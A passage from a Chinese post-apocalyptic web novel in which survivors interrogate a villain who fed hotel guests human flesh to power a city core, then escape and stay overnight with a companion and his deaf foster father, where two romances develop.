她微微俯身,笑嘻嘻道:“杀了你哦。”
张才吞吞口水,忙不迭道:“我说,我说!”
他其实是在前瞻集团被伏苓炸毁之前就已经来到这里了。
无意间进了和平广场,在刻意引导下,上了四楼。在这里,他见到了原本守在前台的人,那人也姓张,大家都喊他张哥。
他入住不到两天就意识到了这位张哥手上掌握的力量非同寻常,于是起了歪心思,引诱张哥离开前台电脑来到布草间,并在那里杀了他。
核心的力量其实只存在于前台的那台电脑中,张哥的实力一般,强就强在他拥有荥城的核心力量,一旦无法使用核心的力量,张才就能在瞬间反杀。
“那让这些人住在这是干什么?”林随安问。
张才颤颤巍巍地看了一眼伏苓,继续解释:“核心的作用范围覆盖和平广场,只要在和平广场里面多死一个人,核心的力量就会加强一分。把这些人留在酒店里,也只是为了处理死去的尸体,等到之前的尸体处理完,我会挨个把他们都处理了。”
多死一个人核心就会增强一分?
程承锁紧眉头。
“可要是这么说的话,你们为什么还要阻止其他人进入和平广场?”再一程问道。
张才笑了一下:“我哪知道?那是之前的张哥订的,我没有修改,也只是因为还没有完全熟练掌握核心的力量。等再过两天——”
他顿了两秒,期期艾艾道:“如果你们没有来的话,我就会向外界开放和平广场,来获取更多力量。”
吴讯听了半天,忍不住问道:“所以我们是怎么帮你处理尸体的?”
张才撇了他一眼:“你没猜到吗?”
吴讯:“……”
他突然顿住了,面色陡然变得煞白:“你的意思是……那些免费的餐食?”
张才:“对啊,不然我上哪去给你们弄吃的去?”
伏苓有些怜悯地看着快吐出来的吴讯。
林随遇拍了拍他的肩膀,同情道:“没事,哥们,起码你今天这顿还没来得及吃。”
“别说了,”吴讯摆手:“我已经快不行了。”
如今他只觉得胃里翻江倒海,下一秒就要吐个昏天黑地。
本还以为张才是个善茬,但没想到,在末世里,能有几个正常人?
大部分人都已经变态了。
祝无忧听着听着,突然想起什么,哒哒哒跑回他们的房间,又飞快地跑回来,她指着外面:“围在和平广场的感染者都散了!”
程承点点头,他摸着下巴:“看来,核心对感染者也有吸引力。之前我还好奇为什么和
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平广场周围有那么多感染者,现在看来,估计他们都是被核心吸引来的。现在核心毁了,他们自然也就散开了。”
祝无忧:“那既然如此,我们不就可以离开了吗?”
外面没有密密麻麻的感染者了,离开确实变得轻松不少,不过当务之急还是得先找到离开和平广场的路。
伏苓踢了踢张才:“怎么出去?”
张哥谄媚道:“如果我告诉你的话,你能饶我一命吗?”
伏苓笑了一声,威胁道:“饶不饶你一命我不知道,但我知道,如果你不告诉我的话,你一定会在下一秒被我弄死。”
张才讪笑:“有电梯。”
他在众人的注视下期期艾艾地爬起来,朝着柜台一侧的拐角走去。
那里有一条狭窄的走廊,没有开灯,黑漆漆的如同没有尽头的深渊。
祝无忧有点害怕,下意识靠近了旁边人一点。
她原本身边站着的是伏苓,后来也不知道怎么回事,伏苓就跟程承站一块去了。
所以她挪了一步后不小心碰到了另一个还算熟悉的胸膛。
再一程垂眸看了她一眼,抬眼威胁张才:“别耍花招。”
张才苦着一张脸:“哥,我哪敢啊。”
他在墙上摸了两下,“啪嗒”一声打开了灯,小小的通道内顿时灯火通明。
黑着的时候看不出这条道有多长,如今才瞧见,其实也就几步路的距离边已经是尽头,那里是一扇小小的电梯门。
“这么小的电梯?”林随遇凑过去看了一眼。
那电梯门看着确实比一般的电梯要小上一些,如今他们六人,加上一个吴迅和张哥,八个人恐怕是进不去,得分两批。
伏苓抬起下巴:“我跟程承带着这人,你们先下。”
虽说楼下的感染者散去了不少,但他们也不知道这个电梯会通到哪里,更不知道楼下是什么情况,所以第一批下楼的人中既得保证没有会在背后插刀的人,又得保证战斗力。
本来伏苓想让吴迅也跟自己一起的,毕竟他们到底是不知道这人的底细,但想想还是把他扔给林随安他们吧。
凭着他们仨的实力,就算再一程也跟着一起背刺他们,应该也不成问题。
不过这种情况概率太小了,伏苓觉得再一程不会是那种处心积虑混进他们中再捅他们一刀的阴险小人。
程承没说话,明显是认同了伏苓的分组。
只是他想得更多一些。
五楼房间不少,早上走廊上的动静引得好些人偷偷查看,当时他就留意到了,这一层还活着的人起码还有二三十人。
若是突然暴起攻击,估计只有他们两战力最高的能抵挡住。
其他人自然也没什么意见,挨个进了电梯。
林随安摁着电梯按钮,看向伏苓:“你们小心些。”
伏苓点头。
电梯门缓缓关闭,上面红色的数字缓慢往下跳。
“那个,请问……”背后突然传来人声,程承本就在一直留意身后,他立马回头,看向来人。
屋内陆陆续续地走出来一些人,他们看着几人一脸局促,不知道该说什么。
方才说话那人站在最前面,多年养在这个小酒店里,他们的气质与伏苓程承完全不一样,原先的干练老成统统消失不见,取而代之的则是温顺。
领头那人已经算是还没被驯化完全的了,但眼神中依旧带着怯生生:“和平广场现在是什么情况?”
许是太久没用顺过思路,这些人看上去还是懵懵懂懂,不过起码察觉到这场免费吃住的酒店就是一个彻头彻尾的骗局。
常年身处末世的人看重时间效率,说话总是言简意赅,生怕自己漏说了些关键信息而导致一些本来可以规避的局面发生。
但这些人明显不是这样,磨磨蹭蹭支支吾吾不知道想问什么。
伏苓有些不耐烦,她根本没心思听他们含糊,踹了脚张才:“十秒钟,跟他们解释清楚。”
十秒?
张才瞪大眼睛。这也太高看他了。
但他还是下意识掐着时间道:“房卡是控制你们的,至于那些食物……反正不是正常的肉。”
众人:“……”
程承低头笑了一声,他侧过头,跟伏苓咬耳朵:“他这话一出,感觉所有人都想吐了。”
伏苓弯眼:“过了这么久好日子,也该出来看看末世的恐怖之处了。”
正说着,电梯“叮咚”一声,缓缓开门。
程承扫了张才一眼,后者捂着还在流血的胳膊,一瘸一拐地走在最前面进了电梯。
后面的那些人连忙喊道:“欸,等等,我们能跟你们一起走吗?”
等伏苓也上了电梯,程承才摁着按钮看向他们:“这部电梯可以下去,你们自便。”
如今和平广场核心被毁,这里其实没什么危险了,程承又不是圣母,根本不想管这些已经基本丧失攻击能力的人。
告知离开的路已经是他最大的仁慈了。
人群中有人忍不住喊道:“可是……”
伏苓抱着臂靠在电梯一侧的栏杆上,面露嘲讽:“你们总不会痴心妄想我们来保护你们吧?”
人群安静了一瞬。
这反应已经算是默认了。
程承嗤了一声,他们可以顺手救下这些人,但没有义务救人救到底,送佛送到西。
他道:“别做梦了。”
说完,他果断关上电梯门,电梯缓缓向下。
张才站在中间,看看这个看看那个,就是没敢说话,轿厢内一片寂静。
电梯速度很快,很快抵达了一楼。
楼下一片正常,没有感染者,也没有乱七八糟的事情发生。
见他们出来,林随安迎上去:“我们这一切正常,你们呢?”
伏苓走出电梯:“没什么事,就是酒店里那些人想让我们保护他们。”
林随遇笑了一声:“哈。”
极致嘲讽。
伏苓点头称赞:“对,就是这样,我们就这样嘲讽了他们一波。”
闻言,众人笑成一团。
再一程咳了一声:“你们接下来怎么去哪?”
他犹豫了一下,接着道:“要不去我那?我家附近的房子都空了,可以住。”
房子空了的原因大家都心知肚明,只是末世里这样的事情发生多了,还活着的人便不再为每一个不幸的人感春伤秋。
再一程话音落下,所有人下意识看向伏苓。
也不知什么时候开始,伏苓已经隐隐变成了几人中的主心骨。
她还没来得及说话,一声汽车的嗡鸣声自远处传来,众人顺着声音看过去。
一辆遍体漆黑的越野车以千军万马之势狂奔而来。
引擎轰鸣声如同野兽低吼般,让周围的空气都燥热起来。
52. 和平广场20
它稳稳停在几人面前,深色的车窗上映着周围的高楼,安静得仿佛方才气势骇人的情景只是假象。
吴迅愣愣指着这辆车:“这是……”
伏苓抬起下巴,回答起了再一程方才的问题:“行啊,那就去你那吧。”
话音落下,S47重重地嗡了一声,四扇车门“咔哒”一声,在众人目瞪口呆的眼神中缓缓打开。
一幅“快上来呀~”的意思。
伏苓点了点张才:“他,扔后备箱去,”她又冷冷看了一眼吴迅,“你,自己找法子回去。其他人上车。”
吴迅讪讪站在原地,搓着手看向再一程:“程哥……”
再一程耸耸肩:“你找我也没用,我说话不算话。”
他叹了口气,拍了拍吴迅的肩膀:“都这个时代了,以貌取人、小瞧别人只会让你活下去的概率大大降低。”
他没再说什么,又拍了拍,起身上车。
S47算是比较大型的越野车了,七人座,刚好能坐下他们,剩下那个“俘虏”被扔到后备箱去。
却没想,一直乖乖听话的张才此时却在越野车的闪亮登场中迷晕的头脑,他挣扎道:“我也想坐……”
伏苓一脚把他踹到车屁股:“滚。”
说起来,S47只有临安三人组见过,后来到集庆后越野车不知道被人运哪去了,林随安和林随遇便也没见过这辆车,只在祝无忧口中听说过这车的牛逼。
但终究是百闻不如一见,几人浑浑噩噩地坐上车,林随遇才回过神来,看向祝无忧:“你之前说这车是什么来着?”
祝无忧思考了两秒:“好像是说它是个好东西?”
林随安难以置信:“你就说它是个好东西?”
他回想起方才这车气势汹汹自己冲过来的场景,嘴都气歪了:“这么牛逼的车难道不该多说两句吗?就单单一句‘好东西’?”
“比起这个,我更想知道,”张才从最后一排后面艰难冒出一颗脑袋,盯着坐在主驾上的程承:“哥,你真的会开车吗?”
程承淡定启动发动机:“不太会。”
张才:“……”
众人:“……”
那你为什么那么自然地坐上驾驶座?
林随遇面露期待:“其实我会开,我来呗。”
祝无忧笑他:“这车自己会走,不用你废心。”
说着,越野车便缓缓启动。
这次的速度倒是相对之前去集庆的速度慢了不少,毕竟是在城里,速度也快不到哪去。
但即便如此,越野车流畅地转弯、避开人群,甚至速度都没放缓的操作还是让后排的几个男生两眼放光。
“卧槽牛逼!”
“来个漂移!”
这般热烈的情景,哪怕伏苓坐在前排也觉得吵,她掏了掏耳朵:“还要多久?”
上车之前,再一程就告知了程承地址,程承扫了一眼导航:“就在前面。”
程承时间观念非常好,说是在前面就真的在前面。
很快,越野车便停在了一栋略显破旧的商品房楼下。
几人拖拖拉拉地下了车,围在车边左看右看,就连再一程也留念般地扫了一眼。
但他很快回过神来,道:“走吧,我家在三楼。”
再一程从后备箱把张才拖出来:“这人我来处理吧,你们稍等一下。”
趁着几人围在越野车旁边讨论的时间,再一程将张才拖到了一旁的屋子里,片刻后才走了出来。
伏苓用胳膊肘怼了一下兴奋的林随遇:“之后给你开。”
“好啊好啊!”林随遇眼前一亮,大声嚷嚷。
林随安捂脸,离他远了些。
其实在雨灾发生前,国内的技术已经达到了制造自动行驶汽车的水平,当时技术大爆炸,制造出来的车也完全可以保证安全。
但自从雨灾降临,灾难持续八年之久,再强大的技术力也会毁于一旦。
混乱、恐惧、不幸充斥着世间,又哪有人有闲情逸致去研究自动驾驶汽车呢?
所以几人看到这辆和平时代的科技产物,就仿佛回到了曾经那个夜不闭户路不拾遗的时代。
想来也是唏嘘。
几人上了楼。
这栋商品房一层有四户,户型都挺小的。
再一程边开自己家的门边道:“先进来吃点东西吧,然后我帮你们撬门。”
撬……门……
祝无忧嘴角抽了抽,想说什么,但终究是咽了下去。
末世没有道德末世没有道德。
祝无忧默念了两遍,还是没忍住地扫了一眼再一程。
背对着她的男人宽肩窄腰,连背影都透着稳稳的安全感,怎么看怎么不像会撬门的人。
那钥匙怕是有点年头了,再一程转了半天才堪堪打开,门顺着他的力道向里荡去。
还未停稳,一个花瓶便像炮弹一般直直地冲他砸过来。
再一程下意识躲开,站在他身后的程承反应也快,花瓶擦着他的侧脸砸在墙壁上。
伏苓眯了眯眼,语气沉了下来:“谁?”
再一程与屋内的人对上眼,他听出了伏苓语气中隐含的杀意,连连摆手道:“抱歉抱歉,是我爸。”
他走了两步,道:“爸,是我,带了几个朋友过来。”
直到这时,屋外的众人才看到那个男人的模样。
他身形不算枯槁,但也称不上强壮,只能用中规中矩来形容,扔到人群里估计也认不出来哪个是他。
而他最显著的特征应该是——他是个哑巴。
再一程笑道:“我爸姓郭,你们怎么称呼都行。”
程承礼貌微笑,率先上前伸出手:“那就叫您郭叔吧,打扰了。”
方才郭叔还一脸防备,看到再一程后才放松了下来,笑呵呵地握住了程承的手,然后指了指自己的耳朵,摆了摆手。
再一程适时解释道:“他耳朵也听不见。”
他招呼着大家进屋,林随安抬手比了个“谢谢”的手语,郭叔眼前一亮,有些激动地也比划了两下。
伏苓好奇:“随安你还会手语呢?”
林随安朝着郭叔笑了笑,对伏苓道:“之前在队里学过一点,不过不算精通,只能简单交流,”
军区学的东西多且杂,林随安什么都学了一点。
“哦——”祝无忧拖长声音:“那林随遇肯定也会吧?”
此话一出,所有人的目光都若有若无地落在了林随遇身上,后者毫不尴尬:“我不会。”
他理直气壮:“我上课没听。”
林随安看了他一眼,叹了口气:“不考试的课,哥哥都不听。”
祝无忧感同身受,跟林随遇疯狂握手:“同道中人啊。”
她也不爱听课,不过幸好祝无忧脑袋瓜还算聪明,成绩不好不坏。
郭叔端了几杯茶来,再一程凑上去接过来,比划道:“我来。”
郭叔笑呵呵地给他,又比划道:“我去给你们做点吃的。”
程承轻咳一声,有些不好意思:“我去帮您。”
郭叔连忙摇摇头,比划地飞快,再一程翻译道:“他说哪有让客人帮忙的道理。”
郭叔笑了笑,又指了指再一程,示意他也不用来帮忙,然后便乐呵呵地去了厨房。
伏苓看了他的背影一眼:“感觉你跟你爸不是很像。”
再一程愣了一下,才意识到伏苓在跟自己说话,笑着说:“他不是我亲爸。”
他想了想,也不知道该怎么说:“应该说,养父吧。我是被他拉扯大的。”
他垂下眼睫,似乎是想到了以前的事情:“当时他的孩子嫌弃他是个哑巴,追着妈妈走了,后来才遇到我。”
他说得很简单,好像之前的这些事情都算不上什么。
但众人仔细揣摩其中意味,却能感受到郭叔的不容易。
再一程看了一眼在厨房里忙活的郭叔,眼中多了几分温柔,他起身对着大家道:“应该还要一会,我们先去撬门。”
能别在这种煽情的时候说这句话吗?
祝无忧木了两秒,跟着他出了门。
从再一程撬门的手法来看,他应该干过不少次。
手腕微微发力,隔壁的门便打开了。
祝无忧:“你为什么这么熟练啊?”
亏她还以为再一程是个好人。
再一程笑了笑,转身将另一户人家的门也撬开了:“出门在外,总要有个技能。”
趁他还在撬下一扇门,伏苓推开第一扇门走进去瞧了瞧。
屋内看上去还算正常,但地面桌面上都布满了细细的一层灰,看上去房子的主人应该已经很久没有回来过了。
在这种时候,这么长时间不回来似乎只意味着一个结果,那便是这家主人已经离世了。
伏苓垂下眼帘。
也不知道这家人攒了多久的钱才买下这套不大不小的屋子。
程承飞快地将屋子扫了一遍,他拍拍手上沾上的灰尘:“虽然很久没人了,但还不错。”
伏苓“嗯”了一声,抱臂:“走之前给他们收拾好就行。”
不知道这家人到底出了什么事情,或许还能回来呢?
“你们俩在这啊,”林随遇从门口探出头来,笑嘻嘻地问伏苓:“车借我玩会?”
伏苓:“……哦。”
林随遇笑弯了眼,抛给她一个飞吻,又对程承眨眨眼睛:“你们俩今晚睡一起吗?”
程承:???
他拿起沙发上的抱枕扔过去:“开车去吧你。”
林随遇灵活避开,把头缩了回去,带笑的声音渐渐远去:“好吧好吧,我跟随安一起哦。”
伏苓弯腰把抱枕捡了起来,抬眼对上红着耳朵跑过来拾抱枕的程承。
后者挠了挠脑袋:“应该……没给人家弄脏吧?”
他方才急了点直接扔过去了,如今看到伏苓捡起来才意识到不对。
伏苓走过他,将抱枕放在沙发上,自己也在一旁坐下。
她看了看傻傻站在原地的程承,笑了一声。
平日里游刃有余的人,这时候怎么傻成这样?
对上程承目光的那一瞬,她勾了勾手,示意他坐过来。
程承微微偏头,略有些紧张地咳了一声,走过去坐在伏苓身边:“怎、怎么了?”
伏苓笑笑:“不能坐一起吗?”
“不是不是,”程承连连摆手,耳根又开始泛红:“我不是那个意思……”
伏苓伸出两根手指头夹住他不断晃动的手:“不是说要追我吗?程哥准备怎么追啊?”
她还坏心思地用了旁人喊再一程的称号,臊得程承脸颊都带上了些薄红。
他抿唇又松开,犹豫两秒才试探性地开口:“那、那我去给你倒杯茶。”
这就是他追人的手段?
伏苓笑了,她指尖轻飘飘地点了点程承的鼻尖:“程承同学,只知道倒茶是追不到女朋友的哦。”
她话音还未落下,大门便被敲两声,似乎是觉得这两人可能在做什么不方便见人的事情,再一程没有探头进来,只能听到他的声音:“额,吃饭吗?”
伏苓应了一声,起身道:“走吧,别让他们等急……”
她还没说话,一旁坐着一直闷不吭声只顾着脸红的程承突然站起来,俯身凑近了她。
单看脸的话,程承看着挺小的,但身材却也算得上高大,俯身靠近伏苓的时候隐隐带着点压迫感。
他微微低头,将自己因为方才伏苓的触碰而微微发麻的鼻尖轻轻碰上了伏苓的鼻尖。
他垂着眸,睫毛因为紧张微微颤抖。过了两秒,他才缓缓掀起眼皮,对上了伏苓的目光。
闪着细碎光芒的瞳孔中,慢慢印着程承的身影。
他眼睛弯了弯,稍稍动了一下,唇瓣仿佛不经意般碰到了伏苓的鼻尖。
一触即分。
却比缠绵不休更令人心悸。
他稍稍退后一步,眸色温柔得不可思议:“那这样,能追到吗?”
伏苓眨眨眼睛,她也是没想到这人会突然凑数来,一时不知道该说什么,只觉得浑身上下的细胞都在微微颤抖。
程承反应过来自己做了什么后有些不自然地咳了一声,偏头不敢看伏苓的眸子:“那个,走吧。”
“咳咳,虽然我不是很想打扰你们,”林随遇的声音又传了过来,带着明显的笑意:“但是面要坨咯。”
伏苓抬脚走出去:“烦死了。”
林随遇瞪大眼睛:“好好好,这样对我是吧!”
伏苓头也不回:“再说话车不给你开了。”
林随遇态度转变极快:“我错了。”
程承深吸一口气,抹了把脸,跟着他们走了出去。
末世里大家吃东西一般都是些罐头或者压缩饼干之类的,开火做饭的次数少之又少。
若不是再一程带了朋友回来,郭叔也不会重新开火做饭。
要知道,再一程大多数时候出门都是为了觅食,这一次回来什么都没带。所以他们的存量其实算不上特别多,只能说是够吃。
伏苓他们来的时候,几人已经围在桌子旁边吃上了。
很长时间没有吃这种热腾腾的汤水了,大家面上都带着笑意边吃边聊,看到两人来了,祝无忧调侃:“怎么感觉你们俩还意犹未尽的?”
“可不是嘛,”林随遇瘪瘪嘴,在自己的位置上坐下,跟林随安告状:“他们俩合伙欺负我。”
程承看了他一眼,心道方才他似乎都没来得及开口吧?
正想反驳这人的夸张说辞,伏苓坐在他身旁的位置上,撑着下巴道:“是啊,我怎么这么坏呢?”
程承抿唇。
想了想,他还是什么都没说,拿起筷子低头吃面。
祝无忧看向再一程,捏着筷
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子的手指紧了紧,问道:“话说,你想跟我们一起去肃州吗?”
虽然再一程也没展露过几次他的异能,但在场的人都知道这人的实力也是很强的。
如果真的能加入他们,那对他们小队来说肯定是个不小的助力。
当然,祝无忧心里还有另一层期待。
头顶的吊灯在她眼里撒下一片光彩,望着她略带期盼的眼神,再一程几乎是想脱口而出道“我愿意”。
但他还是在即将开口的那一瞬间停下了,他垂下眸子,避开了祝无忧的目光:“抱歉,我应该是不会跟你们一起的。”
祝无忧愣愣地“啊”了一声,眼里的光熄灭了下去:“这样啊。”
似乎是早有预料,林随安将嘴里的面条咽下去,开口:“是因为你父亲吧?”
再一程对上她的眸子,又将视线慢慢转移到了厨房里收拾的郭叔身上。
他笑了一下:“嗯,你们也看到了,我爸这样……我怎么可能放心丢下他独自离开?”
他摇了摇头,叹道:“我要是走了,他也就不知道还能活多长时间了。”
若是郭叔能说话,或者能听见,都要比现在的情况好上一些。
没有再一程在他身边的话,别说感染者了,就连跟幸存者交流都是问题,在如此危险的末世就显得更加举步维艰了。
众人突然沉默了下来,一碗面也很快吃完了。
程承自觉让郭叔给他们做饭有些不好意思,便起身将碗筷收拾了一下端进厨房里面。
毕竟是六个大碗,他没办法一次性统统拿过去,便先拿了几个过去。
他俯身将手伸到伏苓面前:“我来。”
伏苓微微挑眉,靠在椅背上方便他动作。
林随遇顺手把剩下的碗也拿了过去。
回来的时候带了块小抹布麻利地将桌面也擦干净了,他朝着伏苓讨好一笑:“车——”
他拉长了声音,显得有些像在撒娇,程承偏头看了这边一眼。
伏苓无奈:“给你给你。”
林随遇双手合十,虔诚道:“伏门!”
伏苓:“……滚。”
若不是桌子挡着,她恐怕一脚已经踢上去了。
林随遇招招手向门外走去:“随安,一起啊!”
林随安叹了口气,也还是跟上了。
伏苓看了一眼厨房,程承不知道跟郭叔说了什么,两人笑得还挺开心,他背对着伏苓,微微俯身在水池里洗着碗筷。
她笑了一下,又扫了眼欲言又止的祝无忧:“忧忧,今晚跟谁睡?”
“啊,”祝无忧反应过来,下意识答道:“跟你睡。”
伏苓颔首,起身说:“行,那我先去房间里歇着你再玩会吧。”
她一眼就看出来祝无忧有话要对再一程说,明天早上他们就要离开,今晚或许是她最后可以跟再一程说话的机会了。
看来这两人独处的时候发生了什么有意思的事情啊。
伏苓没说话,离开了屋子。
没过一会,程序也帮着郭叔收拾完出来了,他甩着手:“他们都走了?”
祝无忧托腮:“你应该是想问伏苓走了吧?”
程承笑了一下,隔空点了点她:“没大没小。”
祝无忧瞪大眼睛:“诶诶诶,你怎么就突然变成大了?”
“不是吗?”程承脚步不停,走到门那才转头看她:“走了,一会记得来。”
祝无忧挥挥手:“知道了。”
等程承离开后,她才又将目光移到再一程身上。
再一程起身,指了指一侧的房间:“去屋里说吧。”
“……哦。”祝无忧慢吞吞道。
他是不是也有料到自己要说什么?
祝无忧抿了抿唇。
说实在的,她并不觉得自己对再一程的喜欢是那种惊天动地轰轰烈烈的。
如果非要形容的话,应该就像故乡小镇里的一碗小面。
城市里美食众多,浓汤淡茶的味道也算不上差,但祝无忧总觉得,自己会在日后的分别中突然想起这碗平平淡淡的小面。
如果现在没有表明感情的话,到那时候,她或许会埋怨自己的胆小吧。
在如今这个人人自危的年代,实在是分不出太多时间给有情人日久生情。
原先祝无忧还在想,若是再一程跟他们一起走就好了。
那样,还有一些可以朝夕相处,培养感情的时间。
但她不能这么自私,也不能违背再一程的意愿。
可就算如此,她还是在他去关门的那一瞬间轻轻发问:“真的不去吗?”
再一程愣了愣,垂眸将门带上,应道:“嗯。”
他轻轻拉了祝无忧一把,两人一起坐在了房间里的小沙发上。
意料之中的答案了。
祝无忧没有想过他回答别的问题,这一问其实也只是她想问,只是想问而已。
所以,明天一别,或许就是永别了。
当然,以他们两人的实力,或许可以在不久的将来再次重逢,按部就班地步入最最普通的恋情。
祝无忧摇了摇头。
可是,如果是永别呢?
她不想让自己刚萌出来的芽湮灭在无法说出口的言语中。
她深呼吸了两下,目光坚定地看向再一程:“我应该,还挺喜欢你的。”
再一程对上她的目光,有些忍俊不禁:“你这是表白吗?”
祝无忧皱了皱眉,她没表过白,也不知道该怎么说,闻言虚心求教:“那我应该怎么说?”
再一程坚毅的面庞上多了几分柔和,他眼中满是笑意:“应该说,我喜欢你。”
祝无忧“哦”了一声,模仿道:“我喜欢你。”
再一程弯眼:“嗯,我喜欢你。”
祝无忧眨了眨眼睛,似乎是不明白这人干嘛一直学自己。
再一程无奈地摇了摇头,他安静了两秒,笑着说:“你知道吊桥效应吗?”
祝无忧抬眸,对上了他的眸子。
她当然知道,也同样知道再一程这话的意思就是在质疑她的感情。
祝无忧头一次在被质疑后没有跳脚,而是直直地看着再一程:“你是吗?”
再一程直视着她,认真道:“我不是。”
祝无忧目光同样认真:“我也不是。”
她顿了顿:“而且,到底是不是,等时间长了就知道了。”
说到这,她眨了眨眼睛:“你会……等我吗?”
再一程静静地看着她。
那一瞬间,他想了很多很多,模拟了千百遍重逢的场景,却又实在害怕和胆怯。
末世里,这份承诺,实在是太重,太重了。
良久,他才笑了笑:“好,那我等你。”
他俯身,牵起她的手,低头略显虔诚地在她的手背上印下一个吻。
“愿风替我陪伴你。”
53. 百世同堂01
“这是什么?”伏苓点了点程承锁骨间露出来的黑色细绳。
程承愣了下,指尖勾着绳子将整个项链拉了出来。
末尾处系着一枚闪着细碎光芒的戒指。
伏苓挑眉:“你之前还有别的相好啊?”
她这句话听不出喜怒,程承也知道她根本没在意,只是一句调侃的话而已,但他还是急急忙忙地解释:“不是,这是我父母的结婚戒指。”
这个答案倒是伏苓没想到的,她安静了一瞬:“抱歉。”
程承摆摆手:“没事,其实也没什么。”
经历了这么多事情,他早就不会因为那些陈年旧事而情绪失控了。
这还得多亏了秦磊的幻境。
人要是一直捂着伤疤反而会在下一次被强制扒开的时候疼得撕心裂肺,但那场幻境却是给了他一个正视痛苦的机会。
说到底,只是他一直不愿意放过自己。
程承相信,他的家人也希望看到自己放下的这一天。
他垂着眸,慢慢摩挲着这枚戒指:“当时被抓走前,我死死拉着妈妈的手,不小心将这枚戒指扯下来了。”
他抿着唇:“后来家被烧了,妈妈爸爸和哥哥的尸体也被处理了,就只剩下这枚阴差阳错到了我手里的戒指,就一直戴着了。”
伏苓垂眸看着这枚被他攥在手里摩挲的戒指,有点后悔提起这个话题。她点点头:“你还是塞回去吧。”
程承笑了笑,又戴了回去。
门口传来脚步声,两人朝外看去。
祝无忧小心翼翼探头:“你们没在做什么不得了的事情吧?”
程承:“……”
他闭了闭眼,想不通原本什么都不懂的祝无忧为什么会变成这个样子:“你少跟林随遇玩。”
祝无忧笑嘻嘻地走进来,往伏苓身边一坐。
伏苓挑眉:“怎么说,跟再一程表白了?”
祝无忧浑身一僵,猛地转头,难以置信道:“不是,你怎么知道?”
伏苓笑了一声,抱臂靠在沙发背上。
程承说:“就你这藏不住事的样子,谁猜不到?”
祝无忧:“……行趴。”
伏苓瞥她:“急着表白是因为太喜欢他了吗?”
祝无忧叹了口气,斟酌着说:“也没那么夸张,就是觉得你们说的对,要是现在不说,说不定就没机会了。而且,说了也没什么损失吧。”
她将刚才跟再一程的对话复述了一遍,讲到再一程重复“我喜欢你”的时候,她碎碎念道:“你说他跟着我重复啥呢?”
伏苓:“……”
她一言难尽地盯着祝无忧。
程承:“有没有一种可能,他不是在重复你说的话。”
伏苓摁了摁太阳穴没说话。
祝无忧眨眨眼睛,突然意识到什么,脸颊染上了些红,有些艰难地说:“你的意思是……他跟我表白?”
伏苓颔首:“嗯,这么说是他表的白?”
“瞎说!”祝无忧蹦了起来:“明明是我先的!”
程承:“这很重要吗?”
祝无忧理直气壮:“当然重要!你看伏苓跟你表白了吗?”
程承:“……”
他偏头,不经意间对上了伏苓的目光,后者眼里带着笑:“那看来还要我表白一次呢。”
程承脸热了一瞬,慌乱移开了目光。
伏苓看着他又红起来的耳尖,偏头笑了一声。
祝无忧沉默地看着他们俩的暗流涌动,平静道:“你好,我是你们的催情剂吗?”
伏苓收起笑容,隔空点了点她的额头:“时间不早了,今晚好好休息,明早出发往西。”
闻言,祝无忧立马跳起来奔向了其中一个房间:“那我走了!晚安。”
说完,她毫不留念地关上门,仿佛再跟他们俩待在一块就会怎么样了似的。
伏苓又看向程承:“要我跟你表白吗?”
程承红着脸连连摆手:“不用,现在是我追你,应该是我表白。”
伏苓长长地哦了一声。
程承有些不知道该说什么,他没追过女生,自然不知道接下来该做什么,只好生硬地将话题转移到正事上:“明天我们直接定位肃州,就算以S47的速度,恐怕也需要一段时间。”
似乎是怕话落在地上会太尴尬,他喋喋不休道:“最好的办法是在路上找地方歇歇脚。”
他顿了一下,又皱起眉:“我的想法是,既然军区说需要毁掉城市的核心,我们完全可以一路杀过去。”
伏苓“嗯”了一声,有些慵懒地坐回沙发上:“看吧。”
她没什么救世的想法,陆续毁掉临安、集庆和荥城的核心其实也只是阴差阳错。
她的目标,自始至终都只有肃州。
程承食指轻轻划着茶几,粗略地勾勒出了一条路线,他点了点靠近自己的这端:“我们在荥城,”
他顺着方才的路线划向伏苓那头,点了点那端:“目的地在肃州。”
这条线弯弯扭扭,需要穿过大大小小的城市。
他又把指尖划回来,在中间点了两个点:“中间有两个大城市——丰镐,金城,我记得荥城离丰镐只有五百多公里,但中间隔需要穿过一些城市。”
程承顿了顿,指尖点在靠近自己的这边:“如果我没记错的话,沿线大概有五座城市,一一捣毁过去,恐怕需要不少时间。”
“但如果,大家一起前往其他城市摧毁核心的话——”他抬起眸子,目光炯炯地看着伏苓,手指从四面八方划向这条线,“我们的速度都会快上很多。”
他们还在和平广场的时候,谢增便把城市核心的事情公布于众了。
以军区的号召力,肯定会有很大数量的民众参战。
末世确实会让人胆怯,但也同样孕育出了无数愿意冲入灾难中救人于水火的勇士。
屋内的灯年久失修,只能发出微弱的光源,伏苓垂眸看着他修长的手指:“全国地图你都能记得啊?”
“啊?”程承明显愣了一下,没想到伏苓的关注点居然在这里,他严肃的表情一松,耳根微微泛红:“……嗯”
伏苓弯了弯眼:“好厉害。”
她语气没什么起伏,但胜在音色清脆悦耳,像溪水潺潺,听起来格外舒服。
但程承却只觉得像在调情,他耳根越来越热,小声道:“说正事呢。”
伏苓笑着点点头:“好。”
程承轻咳一声,偷偷看了她一眼,又垂着眸看着被自己虚构出来的路线图:“但是,根据我们的猜想,越靠近肃州,感染者和异能者的实力就越强,广播也提到过,不要靠近丰镐以西,说明丰镐是一个很特殊的城市。”
“我是想,我们要不要一路打到丰镐?”程承说。
“听你的。”伏苓打了个哈欠,站起身来懒散道:“不说了,我睡觉去了。”
程承跟着站起来,弯眼道:“怪我说太多了。今晚早点休息,明天,我喊你起来?”
伏苓挑眉看他:“行啊,那我就等你咯。”
程承咬着唇点点头,轻声道:“那……晚安。”
伏苓抬起下巴:“晚安。”
……
翌日。
今天是个好天气。
郭叔得知他们即将离开,又热情地给大家做了一顿早餐。
伏苓手肘碰了碰再一程:“你们家吃的还够吗?”
他们这么多人,别把人家吃破产了。
再一程笑笑:“没事,总能找到吃的。”
比起在已经熟悉的荥城寻找食物,伏苓一行人要面对的事情更加危险。
再一程觉得,自己既然不能同行,那就该让他们在荥城休息得好些。
早晨广播又响了,重播了一遍昨天中午的内容,呼吁尚有余力的人民群众捣毁核心。
说起来可能有些残忍,但,郭叔确实无意间拖着他的步伐不让他向前了。
再一程呼出一口气,这种心情很复杂。
他不愿意去责怪郭叔,也甘愿为了自己的父亲留在他身边保护他,但,也无法原谅自己没能为国家安定付出自己的一份力量。
餐桌上的吵闹声突然变得越来越远,只留下伏苓清晰的话语:“守护荥城的百姓也算是一种助力。”
再一程有些愣怔地转头看向伏苓,后者还是那幅面无表情的样子:“如果所有强者都去了前方,那谁来保护留在原地的百姓呢?”
